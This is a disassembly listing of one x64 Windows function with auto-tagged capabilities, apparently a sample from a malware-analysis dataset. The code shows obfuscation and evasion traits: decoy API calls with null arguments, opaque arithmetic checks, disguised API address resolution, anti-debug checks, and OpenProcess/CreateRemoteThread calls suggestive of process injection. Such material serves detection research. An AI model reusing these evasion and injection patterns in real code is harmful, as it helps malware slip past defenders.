Function at 0x180006370
Capabilities:
Check for debugger via api
Create directory
Create thread
Get common file path
Query environment variable
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rdi, rcx
xor ecx, ecx
call fcn.18007b330
mov ecx, eax
call fcn.180077e38
call fcn.180077e0c
and eax, 0x80000003
jge 0x1800063ad
dec eax
or eax, 0xfffffffc
inc eax
xor esi, esi
mov ebx, esi
test eax, eax
jne 0x1800064dd
cmp dword [0x1800fc3e8], 0x105692e9
jne 0x1800064c9
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IntersectRect]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterDeviceNotificationW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockShared]
lock add dword [rsi], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetClassLongW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowLongW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumberEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuItemID]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockFileEx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_WindowFromDC]
call qword [sym.imp.USER32.dll_CreateMenu]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWorkCallbacks]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rdx, qword [rbp + 0x58]
mov rcx, rdi
call fcn.1800022f0
mov rbx, rax
jmp 0x180006c8a
cmp eax, 1
jne 0x18000678e
mov ecx, 0xffffc963
nop dword [rax + rax]
inc ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
jne 0x1800064f0
lea r9d, [rcx - 0xa2ee]
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp r9d, edx
je 0x180006531
test r9d, r9d
jle 0x180006531
add r9d, 0x168a
sub ecx, 0xacd0
mov r11d, ecx
lea r10d, [rcx - 0x125e]
mov eax, 0xfffffb7e
sub eax, r10d
add ecx, eax
test cl, 1
je 0x180006557
inc ecx
test cl, 1
jne 0x180006550
sub r9d, 0x3d2f
mov r8d, 0x3f52
add r10d, 0x537a
nop dword [rax + rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp r8d, edx
jne 0x180006570
mov edx, 0x7017
sub edx, r8d
sub r10d, r9d
lea eax, [r10 + 0xde4]
sub r9d, eax
lea eax, [r9 + rdx]
cmp ecx, 0xddc
jne 0x180006782
cmp r9d, 0xfffe66fa
jne 0x180006782
cmp r11d, 0xffff1c94
jne 0x180006782
cmp r10d, 0x7469
jne 0x180006782
cmp eax, 0xfffe97bd
jne 0x180006782
cmp r8d, 0x3f54
jne 0x180006782
mov dword [rbp + 0x68], 4
mov dword [rsp + 0x50], 0x3000
mov qword [rbp - 0x30], rsi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x11d
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x20], 0x11d
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
mov ecx, 0x10
call fcn.18006e5e8
mov qword [rax + 8], rsi
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov word [rbp - 0x48], bx
mov qword [rbp - 0x42], rsi
mov qword [rbp - 0x3a], rsi
xor eax, eax
mov word [rbp - 0x45], ax
mov byte [rbp - 0x43], al
mov word [rbp - 0x42], ax
mov byte [rbp - 0x40], al
mov word [rbp - 0x3f], ax
mov byte [rbp - 0x3d], al
mov word [rbp - 0x3c], ax
mov byte [rbp - 0x3a], al
mov word [rbp - 0x39], ax
mov byte [rbp - 0x37], al
mov word [rbp - 0x36], ax
mov byte [rbp - 0x34], al
mov dword [rbp - 0x4c], esi
mov dword [rbp - 0x7c], esi
lea rcx, [rsp + 0x70]
call fcn.180028180
test al, al
je 0x1800066d2
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.180028310
mov byte [rbp - 0x48], 0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x60], rcx
and al, 1
mov byte [rsp + 0x68], al
mov dl, 1
lea rcx, [rsp + 0x60]
call fcn.180014950
lea rcx, [rsp + 0x70]
call fcn.18002aa70
lea rax, [rsp + 0x70]
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
call fcn.180018e80
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.18001ff90
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.180020060
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.180020200
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rbp - 0x10], xmm0
lea rax, [rbp + 0x68]
mov qword [rbp], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x18], rax
mov r8b, 1
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x70]
call fcn.1800202d0
mov rbx, qword [rsp + 0x78]
lea rcx, [rbp - 0x78]
call fcn.180013d30
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], rsi
mov edx, 0x10
call fcn.18006e4fc
jmp 0x180006c8a
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1800068f4
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x200
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x200
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.18000fe30
mov qword [rbp + 0x68], rax
cmp dword [0x1800fc3e8], 0x4a6f1aa1
jne 0x1800068aa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadCodePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadErrorMode]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryTransactedW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadGroupAffinity]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadGroupAffinity]
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180114ef0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStringScripts]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteBoundaryDescriptor]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rbp + 0x60], 8
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rax, 0x214
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x214
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
lea r9, [rbp + 0x58]
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.18000ffa0
mov rbx, rax
jmp 0x180006c8a
cmp eax, 3
jne 0x180006c8a
mov dword [rbp + 0x60], esi
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
add rax, 0x23e
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x23e
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18000e410
mov qword [rbp - 0x28], rax
mov dword [rbp + 0x68], 4
mov dword [rsp + 0x50], 0x3000
mov dword [rbp - 0x30], 0x400
mov qword [rbp - 0x18], rsi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x127
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x127
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
mov ecx, 0x10
call fcn.18006e5e8
mov qword [rax + 8], rsi
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov word [rbp - 0x48], bx
mov qword [rbp - 0x42], rsi
mov qword [rbp - 0x3a], rsi
xor eax, eax
mov word [rbp - 0x45], ax
mov byte [rbp - 0x43], al
mov word [rbp - 0x42], ax
mov byte [rbp - 0x40], al
mov word [rbp - 0x3f], ax
mov byte [rbp - 0x3d], al
mov word [rbp - 0x3c], ax
mov byte [rbp - 0x3a], al
mov word [rbp - 0x39], ax
mov byte [rbp - 0x37], al
mov word [rbp - 0x36], ax
mov byte [rbp - 0x34], al
mov dword [rbp - 0x4c], esi
mov dword [rbp - 0x7c], esi
lea rcx, [rsp + 0x70]
call fcn.180028930
test al, al
je 0x180006a25
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.180028ac0
mov byte [rbp - 0x48], 0
lea rcx, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
and al, 1
mov byte [rbp + 0x28], al
mov dl, 1
lea rcx, [rbp + 0x20]
call fcn.180014aa0
lea rcx, [rsp + 0x70]
call fcn.18002aa70
lea rax, [rsp + 0x70]
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
call fcn.180018940
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.18001f360
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.18001f430
mov byte [rbp + 0x60], 0
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.18001f5d0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x10], xmm0
lea rax, [rbp + 0x68]
mov qword [rbp], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov r8b, 1
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x70]
call fcn.18001f6a0
mov rbx, qword [rsp + 0x78]
lea rcx, [rbp - 0x78]
call fcn.180013d30
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], rsi
mov edx, 0x10
call fcn.18006e4fc
mov qword [rsp + 0x60], rbx
mov rax, qword [sym.imp.KERNEL32.dll_LocalLock]
add rax, 0x210
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x210
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x40]
call fcn.18000e5a0
mov rbx, rax
cmp dword [0x1800fc3e8], 0x1a6578f5
jne 0x180006c44
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMemoryErrorHandlingCapabilities]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugBreakProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupWrite]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterBadMemoryNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalAppExitW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov dword [rbp + 0x60], 0x8000
mov dword [rbp + 0x68], esi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
add rax, 0x238
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x238
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180010140
mov rax, rbx
mov rbx, qword [rsp + 0x150]
add rsp, 0x130
pop rdi
pop rsi
pop rbp
ret